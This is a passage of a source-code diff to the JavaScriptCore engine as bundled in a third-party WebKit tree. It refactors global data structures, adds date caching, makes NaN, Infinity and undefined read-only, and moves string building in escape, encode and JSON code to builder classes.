+    JSGlobalData::jsArrayVPtr = jsArray->vptr();
     jsArray->~JSCell();
 
+    COMPILE_ASSERT(sizeof(JSByteArray) <= sizeof(CollectorCell), sizeof_JSByteArray_must_be_less_than_CollectorCell);
     JSCell* jsByteArray = new (storage) JSByteArray(JSByteArray::VPtrStealingHack);
-    jsByteArrayVPtr = jsByteArray->vptr();
+    JSGlobalData::jsByteArrayVPtr = jsByteArray->vptr();
     jsByteArray->~JSCell();
 
+    COMPILE_ASSERT(sizeof(JSString) <= sizeof(CollectorCell), sizeof_JSString_must_be_less_than_CollectorCell);
     JSCell* jsString = new (storage) JSString(JSString::VPtrStealingHack);
-    jsStringVPtr = jsString->vptr();
+    JSGlobalData::jsStringVPtr = jsString->vptr();
     jsString->~JSCell();
 
+    COMPILE_ASSERT(sizeof(JSFunction) <= sizeof(CollectorCell), sizeof_JSFunction_must_be_less_than_CollectorCell);
     JSCell* jsFunction = new (storage) JSFunction(JSFunction::createStructure(jsNull()));
-    jsFunctionVPtr = jsFunction->vptr();
+    JSGlobalData::jsFunctionVPtr = jsFunction->vptr();
     jsFunction->~JSCell();
-
-    fastFree(storage);
 }
 
-JSGlobalData::JSGlobalData(bool isShared, const VPtrSet& vptrSet)
+JSGlobalData::JSGlobalData(bool isShared)
     : isSharedInstance(isShared)
     , clientData(0)
     , arrayTable(fastNew<HashTable>(JSC::arrayTable))
@@ -124,13 +122,10 @@ JSGlobalData::JSGlobalData(bool isShared, const VPtrSet& vptrSet)
     , propertyNameIteratorStructure(JSPropertyNameIterator::createStructure(jsNull()))
     , getterSetterStructure(GetterSetter::createStructure(jsNull()))
     , apiWrapperStructure(JSAPIValueWrapper::createStructure(jsNull()))
+    , dummyMarkableCellStructure(JSCell::createDummyStructure())
 #if USE(JSVALUE32)
     , numberStructure(JSNumberCell::createStructure(jsNull()))
 #endif
-    , jsArrayVPtr(vptrSet.jsArrayVPtr)
-    , jsByteArrayVPtr(vptrSet.jsByteArrayVPtr)
-    , jsStringVPtr(vptrSet.jsStringVPtr)
-    , jsFunctionVPtr(vptrSet.jsFunctionVPtr)
     , identifierTable(createIdentifierTable())
     , propertyNames(new CommonIdentifiers(this))
     , emptyList(new MarkedArgumentBuffer)
@@ -146,7 +141,9 @@ JSGlobalData::JSGlobalData(bool isShared, const VPtrSet& vptrSet)
     , dynamicGlobalObject(0)
     , functionCodeBlockBeingReparsed(0)
     , firstStringifierToMark(0)
-    , markStack(vptrSet.jsArrayVPtr)
+    , markStack(jsArrayVPtr)
+    , cachedUTCOffset(NaN)
+    , weakRandom(static_cast<int>(currentTime()))
 #ifndef NDEBUG
     , mainThreadOnly(false)
 #endif
@@ -197,9 +194,17 @@ JSGlobalData::~JSGlobalData()
     delete clientData;
 }
 
-PassRefPtr<JSGlobalData> JSGlobalData::create(bool isShared)
+PassRefPtr<JSGlobalData> JSGlobalData::createNonDefault()
+{
+    return adoptRef(new JSGlobalData(false));
+}
+
+PassRefPtr<JSGlobalData> JSGlobalData::create()
 {
-    return adoptRef(new JSGlobalData(isShared, VPtrSet()));
+    JSGlobalData* globalData = new JSGlobalData(false);
+    setDefaultIdentifierTable(globalData->identifierTable);
+    setCurrentIdentifierTable(globalData->identifierTable);
+    return adoptRef(globalData);
 }
 
 PassRefPtr<JSGlobalData> JSGlobalData::createLeaked()
@@ -219,7 +224,7 @@ JSGlobalData& JSGlobalData::sharedInstance()
 {
     JSGlobalData*& instance = sharedInstanceInternal();
     if (!instance) {
-        instance = create(true).releaseRef();
+        instance = new JSGlobalData(true);
 #if ENABLE(JSC_MULTIPLE_THREADS)
         instance->makeUsableFromMultipleThreads();
 #endif
@@ -251,6 +256,14 @@ JSGlobalData::ClientData::~ClientData()
 {
 }
 
+void JSGlobalData::resetDateCache()
+{
+    cachedUTCOffset = NaN;
+    dstOffsetCache.reset();
+    cachedDateString = UString();
+    dateInstanceCache.reset();
+}
+
 void JSGlobalData::startSampling()
 {
     interpreter->startSampling();
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.h
index d2aa2da..0f1f3c6 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.h
@@ -38,6 +38,7 @@
 #include "NumericStrings.h"
 #include "SmallStrings.h"
 #include "TimeoutChecker.h"
+#include "WeakRandom.h"
 #include <wtf/Forward.h>
 #include <wtf/HashMap.h>
 #include <wtf/RefCounted.h>
@@ -61,7 +62,26 @@ namespace JSC {
 
     struct HashTable;
     struct Instruction;    
-    struct VPtrSet;
+
+    struct DSTOffsetCache {
+        DSTOffsetCache()
+        {
+            reset();
+        }
+        
+        void reset()
+        {
+            offset = 0.0;
+            start = 0.0;
+            end = -1.0;
+            increment = 0.0;
+        }
+
+        double offset;
+        double start;
+        double end;
+        double increment;
+    };
 
     class JSGlobalData : public RefCounted<JSGlobalData> {
     public:
@@ -72,8 +92,9 @@ namespace JSC {
         static bool sharedInstanceExists();
         static JSGlobalData& sharedInstance();
 
-        static PassRefPtr<JSGlobalData> create(bool isShared = false);
+        static PassRefPtr<JSGlobalData> create();
         static PassRefPtr<JSGlobalData> createLeaked();
+        static PassRefPtr<JSGlobalData> createNonDefault();
         ~JSGlobalData();
 
 #if ENABLE(JSC_MULTIPLE_THREADS)
@@ -102,15 +123,17 @@ namespace JSC {
         RefPtr<Structure> propertyNameIteratorStructure;
         RefPtr<Structure> getterSetterStructure;
         RefPtr<Structure> apiWrapperStructure;
+        RefPtr<Structure> dummyMarkableCellStructure;
 
 #if USE(JSVALUE32)
         RefPtr<Structure> numberStructure;
 #endif
 
-        void* jsArrayVPtr;
-        void* jsByteArrayVPtr;
-        void* jsStringVPtr;
-        void* jsFunctionVPtr;
+        static void storeVPtrs();
+        static JS_EXPORTDATA void* jsArrayVPtr;
+        static JS_EXPORTDATA void* jsByteArrayVPtr;
+        static JS_EXPORTDATA void* jsStringVPtr;
+        static JS_EXPORTDATA void* jsFunctionVPtr;
 
         IdentifierTable* identifierTable;
         CommonIdentifiers* propertyNames;
@@ -153,19 +176,29 @@ namespace JSC {
 
         MarkStack markStack;
 
+        double cachedUTCOffset;
+        DSTOffsetCache dstOffsetCache;
+        
+        UString cachedDateString;
+        double cachedDateStringValue;
+        
+        WeakRandom weakRandom;
+
 #ifndef NDEBUG
         bool mainThreadOnly;
 #endif
 
+        void resetDateCache();
+
         void startSampling();
         void stopSampling();
         void dumpSampleData(ExecState* exec);
     private:
-        JSGlobalData(bool isShared, const VPtrSet&);
+        JSGlobalData(bool isShared);
         static JSGlobalData*& sharedInstanceInternal();
         void createNativeThunk();
     };
-
+    
 } // namespace JSC
 
 #endif // JSGlobalData_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.cpp
index cf3f1d1..86690bd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.cpp
@@ -128,6 +128,8 @@ void JSGlobalObject::init(JSObject* thisValue)
 {
     ASSERT(JSLock::currentThreadIsHoldingLock());
 
+    structure()->disableSpecificFunctionTracking();
+
     d()->globalData = Heap::heap(this)->globalData();
     d()->globalScopeChain = ScopeChain(this, d()->globalData.get(), this, thisValue);
 
@@ -317,9 +319,9 @@ void JSGlobalObject::reset(JSValue prototype)
     // Set global values.
     GlobalPropertyInfo staticGlobals[] = {
         GlobalPropertyInfo(Identifier(exec, "Math"), new (exec) MathObject(exec, MathObject::createStructure(d()->objectPrototype)), DontEnum | DontDelete),
-        GlobalPropertyInfo(Identifier(exec, "NaN"), jsNaN(exec), DontEnum | DontDelete),
-        GlobalPropertyInfo(Identifier(exec, "Infinity"), jsNumber(exec, Inf), DontEnum | DontDelete),
-        GlobalPropertyInfo(Identifier(exec, "undefined"), jsUndefined(), DontEnum | DontDelete),
+        GlobalPropertyInfo(Identifier(exec, "NaN"), jsNaN(exec), DontEnum | DontDelete | ReadOnly),
+        GlobalPropertyInfo(Identifier(exec, "Infinity"), jsNumber(exec, Inf), DontEnum | DontDelete | ReadOnly),
+        GlobalPropertyInfo(Identifier(exec, "undefined"), jsUndefined(), DontEnum | DontDelete | ReadOnly),
         GlobalPropertyInfo(Identifier(exec, "JSON"), new (exec) JSONObject(JSONObject::createStructure(d()->objectPrototype)), DontEnum | DontDelete)
     };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.h
index 720d3a5..bbb6d5e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObject.h
@@ -267,7 +267,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
@@ -413,11 +413,21 @@ namespace JSC {
     {
         return new (exec) JSObject(exec->lexicalGlobalObject()->emptyObjectStructure());
     }
+    
+    inline JSObject* constructEmptyObject(ExecState* exec, JSGlobalObject* globalObject)
+    {
+        return new (exec) JSObject(globalObject->emptyObjectStructure());
+    }
 
     inline JSArray* constructEmptyArray(ExecState* exec)
     {
         return new (exec) JSArray(exec->lexicalGlobalObject()->arrayStructure());
     }
+    
+    inline JSArray* constructEmptyArray(ExecState* exec, JSGlobalObject* globalObject)
+    {
+        return new (exec) JSArray(globalObject->arrayStructure());
+    }
 
     inline JSArray* constructEmptyArray(ExecState* exec, unsigned initialLength)
     {
@@ -442,7 +452,13 @@ namespace JSC {
             : m_dynamicGlobalObjectSlot(callFrame->globalData().dynamicGlobalObject)
             , m_savedDynamicGlobalObject(m_dynamicGlobalObjectSlot)
         {
-            m_dynamicGlobalObjectSlot = dynamicGlobalObject;
+            if (!m_dynamicGlobalObjectSlot) {
+                m_dynamicGlobalObjectSlot = dynamicGlobalObject;
+
+                // Reset the date cache between JS invocations to force the VM
+                // to observe time zone changes.
+                callFrame->globalData().resetDateCache();
+            }
         }
 
         ~DynamicGlobalObjectScope()
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp
index dc32718..be114d7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp
@@ -27,14 +27,17 @@
 
 #include "CallFrame.h"
 #include "GlobalEvalFunction.h"
+#include "Interpreter.h"
 #include "JSGlobalObject.h"
-#include "LiteralParser.h"
 #include "JSString.h"
-#include "Interpreter.h"
-#include "Parser.h"
-#include "dtoa.h"
+#include "JSStringBuilder.h"
 #include "Lexer.h"
+#include "LiteralParser.h"
 #include "Nodes.h"
+#include "Parser.h"
+#include "StringBuilder.h"
+#include "StringExtras.h"
+#include "dtoa.h"
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
@@ -55,24 +58,24 @@ static JSValue encode(ExecState* exec, const ArgList& args, const char* doNotEsc
     if (!cstr.c_str())
         return throwError(exec, URIError, "String contained an illegal UTF-16 sequence.");
 
-    UString result = "";
+    JSStringBuilder builder;
     const char* p = cstr.c_str();
     for (size_t k = 0; k < cstr.size(); k++, p++) {
         char c = *p;
         if (c && strchr(doNotEscape, c))
-            result.append(c);
+            builder.append(c);
         else {
             char tmp[4];
-            sprintf(tmp, "%%%02X", static_cast<unsigned char>(c));
-            result += tmp;
+            snprintf(tmp, 4, "%%%02X", static_cast<unsigned char>(c));
+            builder.append(tmp);
         }
     }
-    return jsString(exec, result);
+    return builder.build(exec);
 }
 
 static JSValue decode(ExecState* exec, const ArgList& args, const char* doNotUnescape, bool strict)
 {
-    UString result = "";
+    JSStringBuilder builder;
     UString str = args.at(0).toString(exec);
     int k = 0;
     int len = str.size();
@@ -106,7 +109,7 @@ static JSValue decode(ExecState* exec, const ArgList& args, const char* doNotUne
                             charLen = 0;
                         else if (character >= 0x10000) {
                             // Convert to surrogate pair.
-                            result.append(static_cast<UChar>(0xD800 | ((character - 0x10000) >> 10)));
+                            builder.append(static_cast<UChar>(0xD800 | ((character - 0x10000) >> 10)));
                             u = static_cast<UChar>(0xDC00 | ((character - 0x10000) & 0x3FF));
                         } else
                             u = static_cast<UChar>(character);
@@ -131,9 +134,9 @@ static JSValue decode(ExecState* exec, const ArgList& args, const char* doNotUne
             }
         }
         k++;
-        result.append(c);
+        builder.append(c);
     }
-    return jsString(exec, result);
+    return builder.build(exec);
 }
 
 bool isStrWhiteSpace(UChar c)
@@ -376,32 +379,30 @@ JSValue JSC_HOST_CALL globalFuncEscape(ExecState* exec, JSObject*, JSValue, cons
         "0123456789"
         "*+-./@_";
 
-    UString result = "";
-    UString s;
+    JSStringBuilder builder;
     UString str = args.at(0).toString(exec);
     const UChar* c = str.data();
-    for (int k = 0; k < str.size(); k++, c++) {
+    for (unsigned k = 0; k < str.size(); k++, c++) {
         int u = c[0];
         if (u > 255) {
             char tmp[7];
             sprintf(tmp, "%%u%04X", u);
-            s = UString(tmp);
+            builder.append(tmp);
         } else if (u != 0 && strchr(do_not_escape, static_cast<char>(u)))
-            s = UString(c, 1);
+            builder.append(c, 1);
         else {
             char tmp[4];
             sprintf(tmp, "%%%02X", u);
-            s = UString(tmp);
+            builder.append(tmp);
         }
-        result += s;
     }
 
-    return jsString(exec, result);
+    return builder.build(exec);
 }
 
 JSValue JSC_HOST_CALL globalFuncUnescape(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    UString result = "";
+    StringBuilder builder;
     UString str = args.at(0).toString(exec);
     int k = 0;
     int len = str.size();
@@ -420,10 +421,10 @@ JSValue JSC_HOST_CALL globalFuncUnescape(ExecState* exec, JSObject*, JSValue, co
             k += 2;
         }
         k++;
-        result.append(*c);
+        builder.append(*c);
     }
 
-    return jsString(exec, result);
+    return jsString(exec, builder.build());
 }
 
 #ifndef NDEBUG
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSImmediate.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSImmediate.h
index 4ed35fc..0f54f60 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSImmediate.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSImmediate.h
@@ -22,8 +22,6 @@
 #ifndef JSImmediate_h
 #define JSImmediate_h
 
-#include <wtf/Platform.h>
-
 #if !USE(JSVALUE32_64)
 
 #include <wtf/Assertions.h>
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.cpp
index c36dc10..f4764e2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.cpp
@@ -121,7 +121,7 @@ bool JSNotAnObject::deleteProperty(ExecState* exec, unsigned)
     return false;
 }
 
-void JSNotAnObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray&)
+void JSNotAnObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray&, EnumerationMode)
 {
     ASSERT_UNUSED(exec, exec->hadException() && exec->exception() == m_exception);
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.h
index a271c4e..339d41f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNotAnObject.h
@@ -62,7 +62,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
      private:
@@ -91,7 +91,7 @@ namespace JSC {
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
         virtual bool deleteProperty(ExecState*, unsigned propertyName);
 
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
         JSNotAnObjectErrorStub* m_exception;
     };
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNumberCell.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNumberCell.h
index 309488f..bcb506b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSNumberCell.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSNumberCell.h
@@ -76,7 +76,7 @@ namespace JSC {
             return globalData->heap.allocateNumber(size);
         }
 
-        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(NumberType, OverridesGetOwnPropertySlot | NeedsThisConversion)); }
+        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(NumberType, OverridesGetOwnPropertySlot | NeedsThisConversion), AnonymousSlotCount); }
 
     private:
         JSNumberCell(JSGlobalData* globalData, double value)
@@ -109,6 +109,11 @@ namespace JSC {
         return static_cast<JSNumberCell*>(v.asCell());
     }
 
+    ALWAYS_INLINE JSValue::JSValue(EncodeAsDoubleTag, ExecState* exec, double d)
+    {
+        *this = jsNumberCell(exec, d);
+    }
+
     inline JSValue::JSValue(ExecState* exec, double d)
     {
         JSValue v = JSImmediate::from(d);
@@ -193,6 +198,11 @@ namespace JSC {
 #endif // USE(JSVALUE32)
 
 #if USE(JSVALUE64)
+    ALWAYS_INLINE JSValue::JSValue(EncodeAsDoubleTag, ExecState*, double d)
+    {
+        *this = JSImmediate::fromNumberOutsideIntegerRange(d);
+    }
+
     inline JSValue::JSValue(ExecState*, double d)
     {
         JSValue v = JSImmediate::from(d);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.cpp
index 297d457..d5f3303 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.cpp
@@ -32,6 +32,7 @@
 #include "JSArray.h"
 #include "LiteralParser.h"
 #include "PropertyNameArray.h"
+#include "StringBuilder.h"
 #include <wtf/MathExtras.h>
 
 namespace JSC {
@@ -70,8 +71,6 @@ public:
     void markAggregate(MarkStack&);
 
 private:
-    typedef UString StringBuilder;
-
     class Holder {
     public:
         Holder(JSObject*);
@@ -136,7 +135,7 @@ static inline JSValue unwrapBoxedPrimitive(ExecState* exec, JSValue value)
 
 static inline UString gap(ExecState* exec, JSValue space)
 {
-    const int maxGapLength = 10;
+    const unsigned maxGapLength = 10;
     space = unwrapBoxedPrimitive(exec, space);
 
     // If the space value is a number, create a gap string with that number of spaces.
@@ -156,7 +155,7 @@ static inline UString gap(ExecState* exec, JSValue space)
     }
 
     // If the space value is a string, use it as the gap string, otherwise use no gap string.
-    UString spaces = space.getString();
+    UString spaces = space.getString(exec);
     if (spaces.size() > maxGapLength) {
         spaces = spaces.substr(0, maxGapLength);
     }
@@ -213,7 +212,7 @@ Stringifier::Stringifier(ExecState* exec, JSValue replacer, JSValue space)
                 break;
 
             UString propertyName;
-            if (name.getString(propertyName)) {
+            if (name.getString(exec, propertyName)) {
                 m_arrayReplacerPropertyNames.add(Identifier(exec, propertyName));
                 continue;
             }
@@ -269,7 +268,7 @@ JSValue Stringifier::stringify(JSValue value)
     if (m_exec->hadException())
         return jsNull();
 
-    return jsString(m_exec, result);
+    return jsString(m_exec, result.build());
 }
 
 void Stringifier::appendQuotedString(StringBuilder& builder, const UString& value)
@@ -389,7 +388,7 @@ Stringifier::StringifyResult Stringifier::appendStringifiedValue(StringBuilder&
     }
 
     UString stringValue;
-    if (value.getString(stringValue)) {
+    if (value.getString(m_exec, stringValue)) {
         appendQuotedString(builder, stringValue);
         return StringifySucceeded;
     }
@@ -457,9 +456,9 @@ inline bool Stringifier::willIndent() const
 inline void Stringifier::indent()
 {
     // Use a single shared string, m_repeatedGap, so we don't keep allocating new ones as we indent and unindent.
-    int newSize = m_indent.size() + m_gap.size();
+    unsigned newSize = m_indent.size() + m_gap.size();
     if (newSize > m_repeatedGap.size())
-        m_repeatedGap.append(m_gap);
+        m_repeatedGap = makeString(m_repeatedGap, m_gap);
     ASSERT(newSize <= m_repeatedGap.size());
     m_indent = m_repeatedGap.substr(0, newSize);
 }
@@ -502,7 +501,7 @@ bool Stringifier::Holder::appendNextProperty(Stringifier& stringifier, StringBui
                 m_propertyNames = stringifier.m_arrayReplacerPropertyNames.data();
             else {
                 PropertyNameArray objectPropertyNames(exec);
-                m_object->getPropertyNames(exec, objectPropertyNames);
+                m_object->getOwnPropertyNames(exec, objectPropertyNames);
                 m_propertyNames = objectPropertyNames.releaseData();
             }
             m_size = m_propertyNames->propertyNameVector().size();
@@ -586,7 +585,7 @@ bool Stringifier::Holder::appendNextProperty(Stringifier& stringifier, StringBui
             // This only occurs when get an undefined value for an object property.
             // In this case we don't want the separator and property name that we
             // already appended, so roll back.
-            builder = builder.substr(0, rollBackPoint);
+            builder.resize(rollBackPoint);
             break;
     }
 
@@ -747,7 +746,7 @@ NEVER_INLINE JSValue Walker::walk(JSValue unfiltered)
                 objectStack.append(object);
                 indexStack.append(0);
                 propertyStack.append(PropertyNameArray(m_exec));
-                object->getPropertyNames(m_exec, propertyStack.last());
+                object->getOwnPropertyNames(m_exec, propertyStack.last());
                 // fallthrough
             }
             objectStartVisitMember:
@@ -869,4 +868,12 @@ JSValue JSC_HOST_CALL JSONProtoFuncStringify(ExecState* exec, JSObject*, JSValue
     return Stringifier(exec, replacer, space).stringify(value);
 }
 
+UString JSONStringify(ExecState* exec, JSValue value, unsigned indent)
+{
+    JSValue result = Stringifier(exec, jsNull(), jsNumber(exec, indent)).stringify(value);
+    if (result.isUndefinedOrNull())
+        return UString();
+    return result.getString(exec);
+}
+
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.h
index ec3fa40..7a9e0a4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSONObject.h
@@ -41,7 +41,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
         static void markStringifiers(MarkStack&, Stringifier*);
@@ -57,6 +57,8 @@ namespace JSC {
         static const ClassInfo info;
     };
 
+    UString JSONStringify(ExecState* exec, JSValue value, unsigned indent);
+
 } // namespace JSC
 
 #endif // JSONObject_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.cpp
index 6932ded..61d3bb1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.cpp
@@ -42,7 +42,7 @@ namespace JSC {
 
 ASSERT_CLASS_FITS_IN_CELL(JSObject);
 
-static inline void getEnumerablePropertyNames(ExecState* exec, const ClassInfo* classInfo, PropertyNameArray& propertyNames)
+static inline void getClassPropertyNames(ExecState* exec, const ClassInfo* classInfo, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // Add properties from the static hashtables of properties
     for (; classInfo; classInfo = classInfo->parentClass) {
@@ -55,7 +55,7 @@ static inline void getEnumerablePropertyNames(ExecState* exec, const ClassInfo*
         int hashSizeMask = table->compactSize - 1;
         const HashEntry* entry = table->table;
         for (int i = 0; i <= hashSizeMask; ++i, ++entry) {
-            if (entry->key() && !(entry->attributes() & DontEnum))
+            if (entry->key() && (!(entry->attributes() & DontEnum) || (mode == IncludeDontEnumProperties)))
                 propertyNames.add(entry->key());
         }
     }
@@ -406,26 +406,10 @@ bool JSObject::hasInstance(ExecState* exec, JSValue value, JSValue proto)
 
 bool JSObject::propertyIsEnumerable(ExecState* exec, const Identifier& propertyName) const
 {
-    unsigned attributes;
-    if (!getPropertyAttributes(exec, propertyName, attributes))
+    PropertyDescriptor descriptor;
+    if (!const_cast<JSObject*>(this)->getOwnPropertyDescriptor(exec, propertyName, descriptor))
         return false;
-    return !(attributes & DontEnum);
-}
-
-bool JSObject::getPropertyAttributes(ExecState* exec, const Identifier& propertyName, unsigned& attributes) const
-{
-    JSCell* specificValue;
-    if (m_structure->get(propertyName, attributes, specificValue) != WTF::notFound)
-        return true;
-    
-    // Look in the static hashtable of properties
-    const HashEntry* entry = findPropertyHashEntry(exec, propertyName);
-    if (entry) {
-        attributes = entry->attributes();
-        return true;
-    }
-    
-    return false;
+    return descriptor.enumerable();
 }
 
 bool JSObject::getPropertySpecificValue(ExecState*, const Identifier& propertyName, JSCell*& specificValue) const
@@ -441,9 +425,9 @@ bool JSObject::getPropertySpecificValue(ExecState*, const Identifier& propertyNa
     return false;
 }
 
-void JSObject::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSObject::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    getOwnPropertyNames(exec, propertyNames);
+    getOwnPropertyNames(exec, propertyNames, mode);
 
     if (prototype().isNull())
         return;
@@ -451,10 +435,10 @@ void JSObject::getPropertyNames(ExecState* exec, PropertyNameArray& propertyName
     JSObject* prototype = asObject(this->prototype());
     while(1) {
         if (prototype->structure()->typeInfo().overridesGetPropertyNames()) {
-            prototype->getPropertyNames(exec, propertyNames);
+            prototype->getPropertyNames(exec, propertyNames, mode);
             break;
         }
-        prototype->getOwnPropertyNames(exec, propertyNames);
+        prototype->getOwnPropertyNames(exec, propertyNames, mode);
         JSValue nextProto = prototype->prototype();
         if (nextProto.isNull())
             break;
@@ -462,10 +446,10 @@ void JSObject::getPropertyNames(ExecState* exec, PropertyNameArray& propertyName
     }
 }
 
-void JSObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    m_structure->getEnumerablePropertyNames(propertyNames);
-    getEnumerablePropertyNames(exec, classInfo(), propertyNames);
+    m_structure->getPropertyNames(propertyNames, mode);
+    getClassPropertyNames(exec, classInfo(), propertyNames, mode);
 }
 
 bool JSObject::toBoolean(ExecState*) const
@@ -522,19 +506,22 @@ void JSObject::removeDirect(const Identifier& propertyName)
 
 void JSObject::putDirectFunction(ExecState* exec, InternalFunction* function, unsigned attr)
 {
-    putDirectFunction(Identifier(exec, function->name(&exec->globalData())), function, attr);
+    putDirectFunction(Identifier(exec, function->name(exec)), function, attr);
 }
 
 void JSObject::putDirectFunctionWithoutTransition(ExecState* exec, InternalFunction* function, unsigned attr)
 {
-    putDirectFunctionWithoutTransition(Identifier(exec, function->name(&exec->globalData())), function, attr);
+    putDirectFunctionWithoutTransition(Identifier(exec, function->name(exec)), function, attr);
 }
 
 NEVER_INLINE void JSObject::fillGetterPropertySlot(PropertySlot& slot, JSValue* location)
 {
-    if (JSObject* getterFunction = asGetterSetter(*location)->getter())
-        slot.setGetterSlot(getterFunction);
-    else
+    if (JSObject* getterFunction = asGetterSetter(*location)->getter()) {
+        if (!structure()->isDictionary())
+            slot.setCacheableGetterSlot(this, getterFunction, offsetForLocation(location));
+        else
+            slot.setGetterSlot(getterFunction);
+    } else
         slot.setUndefined();
 }
 
@@ -599,7 +586,7 @@ bool JSObject::defineOwnProperty(ExecState* exec, const Identifier& propertyName
     if (descriptor.isEmpty())
         return true;
 
-    if (current.equalTo(descriptor))
+    if (current.equalTo(exec, descriptor))
         return true;
 
     // Filter out invalid changes
@@ -645,7 +632,7 @@ bool JSObject::defineOwnProperty(ExecState* exec, const Identifier& propertyName
                 return false;
             }
             if (!current.writable()) {
-                if (descriptor.value() || !JSValue::strictEqual(current.value(), descriptor.value())) {
+                if (descriptor.value() || !JSValue::strictEqual(exec, current.value(), descriptor.value())) {
                     if (throwException)
                         throwError(exec, TypeError, "Attempting to change value of a readonly property.");
                     return false;
@@ -667,12 +654,12 @@ bool JSObject::defineOwnProperty(ExecState* exec, const Identifier& propertyName
     // Changing the accessor functions of an existing accessor property
     ASSERT(descriptor.isAccessorDescriptor());
     if (!current.configurable()) {
-        if (descriptor.setterPresent() && !(current.setter() && JSValue::strictEqual(current.setter(), descriptor.setter()))) {
+        if (descriptor.setterPresent() && !(current.setter() && JSValue::strictEqual(exec, current.setter(), descriptor.setter()))) {
             if (throwException)
                 throwError(exec, TypeError, "Attempting to change the setter of an unconfigurable property.");
             return false;
         }
-        if (descriptor.getterPresent() && !(current.getter() && JSValue::strictEqual(current.getter(), descriptor.getter()))) {
+        if (descriptor.getterPresent() && !(current.getter() && JSValue::strictEqual(exec, current.getter(), descriptor.getter()))) {
             if (throwException)
                 throwError(exec, TypeError, "Attempting to change the getter of an unconfigurable property.");
             return false;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.h
index 5a89c40..cd8f7f7 100644
